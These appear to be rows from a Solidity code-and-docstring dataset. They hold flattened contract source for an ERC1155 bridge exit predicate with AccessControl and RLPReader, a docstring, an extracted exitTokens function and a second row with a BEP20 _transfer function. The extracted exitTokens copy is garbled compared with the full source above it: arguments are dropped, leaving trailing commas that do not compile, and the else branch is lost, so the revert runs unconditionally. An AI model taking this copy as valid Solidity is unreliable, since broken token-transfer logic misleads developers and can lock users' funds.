* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/common/AccessControlMixin.sol
pragma solidity 0.6.6;
contract AccessControlMixin is AccessControl {
string private _revertMsg;
function _setupContractId(string memory contractId) internal {
_revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS"));
}
modifier only(bytes32 role) {
require(
hasRole(role, _msgSender()),
_revertMsg
);
_;
}
}
// File: contracts/lib/RLPReader.sol
/*
* @author Hamdi Allam [email protected]
* Please reach out with any questions or concerns
* https://github.com/hamdiallam/Solidity-RLP/blob/e681e25a376dbd5426b509380bc03446f05d0f97/contracts/RLPReader.sol
*/
pragma solidity 0.6.6;
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint len;
uint memPtr;
}
struct Iterator {
RLPItem item; // Item that's being iterated over.
uint nextPtr; // Position of the next item in the list.
}
/*
* @dev Returns the next element in the iteration. Reverts if it has not next element.
* @param self The iterator.
* @return The next element in the iteration.
*/
function next(Iterator memory self) internal pure returns (RLPItem memory) {
require(hasNext(self));
uint ptr = self.nextPtr;
uint itemLength = _itemLength(ptr);
self.nextPtr = ptr + itemLength;
return RLPItem(itemLength, ptr);
}
/*
* @dev Returns true if the iteration has more elements.
* @param self The iterator.
* @return true if the iteration has more elements.
*/
function hasNext(Iterator memory self) internal pure returns (bool) {
RLPItem memory item = self.item;
return self.nextPtr < item.memPtr + item.len;
}
/*
* @param item RLP encoded bytes
*/
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
uint memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
/*
* @dev Create an iterator. Reverts if item is not a list.
* @param self The RLP item.
* @return An 'Iterator' over the item.
*/
function iterator(RLPItem memory self) internal pure returns (Iterator memory) {
require(isList(self));
uint ptr = self.memPtr + _payloadOffset(self.memPtr);
return Iterator(self, ptr);
}
/*
* @param the RLP item.
*/
function rlpLen(RLPItem memory item) internal pure returns (uint) {
return item.len;
}
/*
* @param the RLP item.
* @return (memPtr, len) pair: location of the item's payload in memory.
*/
function payloadLocation(RLPItem memory item) internal pure returns (uint, uint) {
uint offset = _payloadOffset(item.memPtr);
uint memPtr = item.memPtr + offset;
uint len = item.len - offset; // data length
return (memPtr, len);
}
/*
* @param the RLP item.
*/
function payloadLen(RLPItem memory item) internal pure returns (uint) {
(, uint len) = payloadLocation(item);
return len;
}
/*
* @param the RLP item containing the encoded list.
*/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) {
require(isList(item));
uint items = numItems(item);
RLPItem[] memory result = new RLPItem[](items);
uint memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint dataLen;
for (uint i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
return result;
}
// @return indicator whether encoded payload is a list. negate this function call for isData.
function isList(RLPItem memory item) internal pure returns (bool) {
if (item.len == 0) return false;
uint8 byte0;
uint memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START)
return false;
return true;
}
/*
* @dev A cheaper version of keccak256(toRlpBytes(item)) that avoids copying memory.
* @return keccak256 hash of RLP encoded bytes.
*/
function rlpBytesKeccak256(RLPItem memory item) internal pure returns (bytes32) {
uint256 ptr = item.memPtr;
uint256 len = item.len;
bytes32 result;
assembly {
result := keccak256(ptr, len)
}
return result;
}
/*
* @dev A cheaper version of keccak256(toBytes(item)) that avoids copying memory.
* @return keccak256 hash of the item payload.
*/
function payloadKeccak256(RLPItem memory item) internal pure returns (bytes32) {
(uint memPtr, uint len) = payloadLocation(item);
bytes32 result;
assembly {
result := keccak256(memPtr, len)
}
return result;
}
/** RLPItem conversions into data types **/
// @returns raw rlp encoding in bytes
function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {
bytes memory result = new bytes(item.len);
if (result.length == 0) return result;
uint ptr;
assembly {
ptr := add(0x20, result)
}
copy(item.memPtr, ptr, item.len);
return result;
}
// any non-zero byte except "0x80" is considered true
function toBoolean(RLPItem memory item) internal pure returns (bool) {
require(item.len == 1);
uint result;
uint memPtr = item.memPtr;
assembly {
result := byte(0, mload(memPtr))
}
// SEE Github Issue #5.
// Summary: Most commonly used RLP libraries (i.e Geth) will encode
// "0" as "0x80" instead of as "0". We handle this edge case explicitly
// here.
if (result == 0 || result == STRING_SHORT_START) {
return false;
} else {
return true;
}
}
function toAddress(RLPItem memory item) internal pure returns (address) {
// 1 byte for the length prefix
require(item.len == 21);
return address(toUint(item));
}
function toUint(RLPItem memory item) internal pure returns (uint) {
require(item.len > 0 && item.len <= 33);
(uint memPtr, uint len) = payloadLocation(item);
uint result;
assembly {
result := mload(memPtr)
// shfit to the correct location if neccesary
if lt(len, 32) {
result := div(result, exp(256, sub(32, len)))
}
}
return result;
}
// enforces 32 byte length
function toUintStrict(RLPItem memory item) internal pure returns (uint) {
// one byte prefix
require(item.len == 33);
uint result;
uint memPtr = item.memPtr + 1;
assembly {
result := mload(memPtr)
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes memory) {
require(item.len > 0);
(uint memPtr, uint len) = payloadLocation(item);
bytes memory result = new bytes(len);
uint destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(memPtr, destPtr, len);
return result;
}
/*
* Private Helpers
*/
// @return number of payload items inside an encoded list.
function numItems(RLPItem memory item) private pure returns (uint) {
if (item.len == 0) return 0;
uint count = 0;
uint currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr); // skip over an item
count++;
}
return count;
}
// @return entire rlp item byte length
function _itemLength(uint memPtr) private pure returns (uint) {
uint itemLen;
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
itemLen = 1;
else if (byte0 < STRING_LONG_START)
itemLen = byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is
memPtr := add(memPtr, 1) // skip over the first byte
/* 32 byte word size */
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len
itemLen := add(dataLen, add(byteLen, 1))
}
}
else if (byte0 < LIST_LONG_START) {
itemLen = byte0 - LIST_SHORT_START + 1;
}
else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length
itemLen := add(dataLen, add(byteLen, 1))
}
}
return itemLen;
}
// @return number of bytes until the data
function _payloadOffset(uint memPtr) private pure returns (uint) {
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START))
return 1;
else if (byte0 < LIST_SHORT_START) // being explicit
return byte0 - (STRING_LONG_START - 1) + 1;
else
return byte0 - (LIST_LONG_START - 1) + 1;
}
/*
* @param src Pointer to source
* @param dest Pointer to destination
* @param len Amount of memory to copy from the source
*/
function copy(uint src, uint dest, uint len) private pure {
if (len == 0) return;
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
}
src += WORD_SIZE;
dest += WORD_SIZE;
}
if (len > 0) {
// left over bytes. Mask is used to remove unwanted bytes from the word
uint mask = 256 ** (WORD_SIZE - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask)) // zero out src
let destpart := and(mload(dest), mask) // retrieve the bytes
mstore(dest, or(destpart, srcpart))
}
}
}
}
// File: contracts/root/TokenPredicates/ITokenPredicate.sol
pragma solidity 0.6.6;
/// @title Token predicate interface for all pos portal predicates
/// @notice Abstract interface that defines methods for custom predicates
interface ITokenPredicate {
/**
* @notice Deposit tokens into pos portal
* @dev When `depositor` deposits tokens into pos portal, tokens get locked into predicate contract.
* @param depositor Address who wants to deposit tokens
* @param depositReceiver Address (address) who wants to receive tokens on side chain
* @param rootToken Token which gets deposited
* @param depositData Extra data for deposit (amount for ERC20, token id for ERC721 etc.) [ABI encoded]
*/
function lockTokens(
address depositor,
address depositReceiver,
address rootToken,
bytes calldata depositData
) external;
/**
* @notice Validates and processes exit while withdraw process
* @dev Validates exit log emitted on sidechain. Reverts if validation fails.
* @dev Processes withdraw based on custom logic. Example: transfer ERC20/ERC721, mint ERC721 if mintable withdraw
* @param sender Address
* @param rootToken Token which gets withdrawn
* @param logRLPList Valid sidechain log for data like amount, token id etc.
*/
function exitTokens(
address sender,
address rootToken,
bytes calldata logRLPList
) external;
}
// File: contracts/common/Initializable.sol
pragma solidity 0.6.6;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
contract ChainExitERC1155Predicate is
ITokenPredicate,
ERC1155Receiver,
AccessControlMixin,
Initializable
{
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant TOKEN_TYPE = keccak256("ChainExitERC1155");
// Only this event is considered in exit function : ChainExit(address indexed to, uint256[] tokenId, uint256[] amount, bytes data)
bytes32 public constant CHAIN_EXIT_EVENT_SIG = keccak256("ChainExit(address,uint256[],uint256[],bytes)");
event LockedBatchChainExitERC1155(
address indexed depositor,
address indexed depositReceiver,
address indexed rootToken,
uint256[] ids,
uint256[] amounts
);
constructor() public {}
function initialize(address _owner) external initializer {
_setupContractId("ChainExitERC1155Predicate");
_setupRole(DEFAULT_ADMIN_ROLE, _owner);
_setupRole(MANAGER_ROLE, _owner);
}
/**
* @notice rejects single transfer
*/
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external override returns (bytes4) {
return 0;
}
/**
* @notice accepts batch transfer
*/
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external override returns (bytes4) {
return ERC1155Receiver(0).onERC1155BatchReceived.selector;
}
/**
* @notice Lock ERC1155 tokens for deposit, callable only by manager
* @param depositor Address who wants to deposit tokens
* @param depositReceiver Address (address) who wants to receive tokens on child chain
* @param rootToken Token which gets deposited
* @param depositData ABI encoded id array and amount array
*/
function lockTokens(
address depositor,
address depositReceiver,
address rootToken,
bytes calldata depositData
) external override only(MANAGER_ROLE) {
// forcing batch deposit since supporting both single and batch deposit introduces too much complexity
(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) = abi.decode(depositData, (uint256[], uint256[], bytes));
emit LockedBatchChainExitERC1155(
depositor,
depositReceiver,
rootToken,
ids,
amounts
);
IMintableERC1155(rootToken).safeBatchTransferFrom(
depositor,
address(this),
ids,
amounts,
data
);
}
/**
* @notice Creates an array of `size` by repeating provided address,
* to be required for passing to batched balance checking function of ERC1155 tokens.
* @param addr Address to be repeated `size` times in resulting array
* @param size Size of resulting array
*/
function makeArrayWithAddress(address addr, uint256 size)
internal
pure
returns (address[] memory)
{
require(
addr != address(0),
"ChainExitERC1155Predicate: Invalid address"
);
require(
size > 0,
"ChainExitERC1155Predicate: Invalid resulting array length"
);
address[] memory addresses = new address[](size);
for (uint256 i = 0; i < size; i++) {
addresses[i] = addr;
}
return addresses;
}
/**
* @notice Calculates amount of tokens to be minted and/or transferred
* @param balances Token balances this contract holds for some ordered token ids
* @param exitAmounts Amount of tokens being exited
*/
function calculateAmountToMintAndTransfer(
uint256[] memory balances,
uint256[] memory exitAmounts
) internal pure returns (uint256[] memory, uint256[] memory, bool, bool) {
uint256 count = balances.length;
require(
count == exitAmounts.length,
"ChainExitERC1155Predicate: Array length mismatch found"
);
uint256[] memory toBeMinted = new uint256[](count);
uint256[] memory toBeTransferred = new uint256[](count);
bool needMintStep;
bool needTransferStep;
for (uint256 i = 0; i < count; i++) {
bool needMintStepInner = balances[i] < exitAmounts[i];
if (needMintStepInner) {
toBeMinted[i] = exitAmounts[i] - balances[i];
needMintStep = true;
}
if(balances[i] > 0) {
toBeTransferred[i] = needMintStepInner ? balances[i] : exitAmounts[i];
needTransferStep = true;
}
assert(toBeTransferred[i] + toBeMinted[i] == exitAmounts[i]);
}
return (toBeMinted, toBeTransferred, needMintStep, needTransferStep);
}
/**
* @notice Validates log signature, withdrawer address
* then sends the correct tokenId, amount to withdrawer
* callable only by manager
* @param rootToken Token which gets withdrawn
* @param log Valid ChainExit log from child chain
*/
function exitTokens(
address,
address rootToken,
bytes memory log
) public override only(MANAGER_ROLE) {
RLPReader.RLPItem[] memory logRLPList = log.toRlpItem().toList();
RLPReader.RLPItem[] memory logTopicRLPList = logRLPList[1].toList();
bytes memory logData = logRLPList[2].toBytes();
if (bytes32(logTopicRLPList[0].toUint()) == CHAIN_EXIT_EVENT_SIG) {
address withdrawer = address(logTopicRLPList[1].toUint());
require(withdrawer != address(0), "ChainExitERC1155Predicate: INVALID_RECEIVER");
(uint256[] memory ids, uint256[] memory amounts, bytes memory data) = abi.decode(
logData,
(uint256[], uint256[], bytes)
);
IMintableERC1155 token = IMintableERC1155(rootToken);
uint256[] memory balances = token.balanceOfBatch(makeArrayWithAddress(address(this), ids.length), ids);
(uint256[] memory toBeMinted, uint256[] memory toBeTransferred, bool needMintStep, bool needTransferStep) = calculateAmountToMintAndTransfer(balances, amounts);
if(needMintStep) {
token.mintBatch(
withdrawer,
ids,
toBeMinted,
data // passing data when minting to withdrawer
);
}
if(needTransferStep) {
token.safeBatchTransferFrom(
address(this),
withdrawer,
ids,
toBeTransferred,
data // passing data when transferring unlocked tokens to withdrawer
);
}
} else {
revert("ChainExitERC1155Predicate: INVALID_WITHDRAW_SIG");
}
}
}
|
* @notice Validates log signature, withdrawer address then sends the correct tokenId, amount to withdrawer callable only by manager @param rootToken Token which gets withdrawn @param log Valid ChainExit log from child chain/
|
function exitTokens(
address,
address rootToken,
bytes memory log
) public override only(MANAGER_ROLE) {
RLPReader.RLPItem[] memory logRLPList = log.toRlpItem().toList();
RLPReader.RLPItem[] memory logTopicRLPList = logRLPList[1].toList();
bytes memory logData = logRLPList[2].toBytes();
if (bytes32(logTopicRLPList[0].toUint()) == CHAIN_EXIT_EVENT_SIG) {
address withdrawer = address(logTopicRLPList[1].toUint());
require(withdrawer != address(0), "ChainExitERC1155Predicate: INVALID_RECEIVER");
(uint256[] memory ids, uint256[] memory amounts, bytes memory data) = abi.decode(
logData,
(uint256[], uint256[], bytes)
);
IMintableERC1155 token = IMintableERC1155(rootToken);
uint256[] memory balances = token.balanceOfBatch(makeArrayWithAddress(address(this), ids.length), ids);
(uint256[] memory toBeMinted, uint256[] memory toBeTransferred, bool needMintStep, bool needTransferStep) = calculateAmountToMintAndTransfer(balances, amounts);
if(needMintStep) {
token.mintBatch(
withdrawer,
ids,
toBeMinted,
);
}
if(needTransferStep) {
token.safeBatchTransferFrom(
address(this),
withdrawer,
ids,
toBeTransferred,
);
}
revert("ChainExitERC1155Predicate: INVALID_WITHDRAW_SIG");
}
}
| 8,072,209
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./full_match/3/0xAEaB6350C6fa4985006bD94A99283626cc7F30b4/sources/BEP20.sol
|
* @dev Moves tokens `amount` from `sender` to `recipient`. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
|
function _transfer(
address sender,
address recipient,
uint256 amount
)
internal
virtual
{
require(
sender != address(0x0)
);
require(
recipient != address(0x0)
);
_balances[sender] =
_balances[sender].sub(amount);
_balances[recipient] =
_balances[recipient].add(amount);
emit Transfer(
sender,
recipient,
amount
);
}
| 8,116,219
|
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